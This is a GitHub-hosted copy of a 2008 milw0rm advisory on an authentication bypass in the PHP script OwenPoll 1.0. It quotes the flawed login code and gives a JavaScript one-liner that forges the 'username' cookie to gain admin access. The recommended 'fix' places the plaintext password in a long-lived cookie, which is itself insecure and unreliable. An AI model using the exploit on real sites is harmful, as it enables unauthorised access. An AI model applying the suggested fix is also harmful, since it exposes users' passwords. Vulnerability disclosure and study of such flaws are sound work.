-
Notifications
You must be signed in to change notification settings - Fork 0
/
OwenPoll 1.0 - Insecure Cookie Handling.txt
48 lines (31 loc) · 1.51 KB
/
OwenPoll 1.0 - Insecure Cookie Handling.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[START]
####################################################################################################################
[0x01] Informations:
Script : OwenPoll 1.0
Download : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability : Insecure Cookie Handling
Author : Osirys
Contact : osirys[at]live[dot]it
Website : http://osirys.org
Notes : Proud to be Italian
Greets: : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######
Bugged file is: /[path]/checkloginmini.php
[CODE]
if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
// authentication was successful
// create session and set cookie with username
session_start();
$_SESSION['auth'] = 1;
setcookie("username", $_POST['txtusername'], time()+(86400*30));
[/CODE]
If we log in correctly, a cookie is set with name "username" and as content the username name.
[!] FIX: Set as content username's password.
[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]
[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
*admin_username is the nick of the administrator
####################################################################################################################
[/END]
# milw0rm.com [2008-12-28]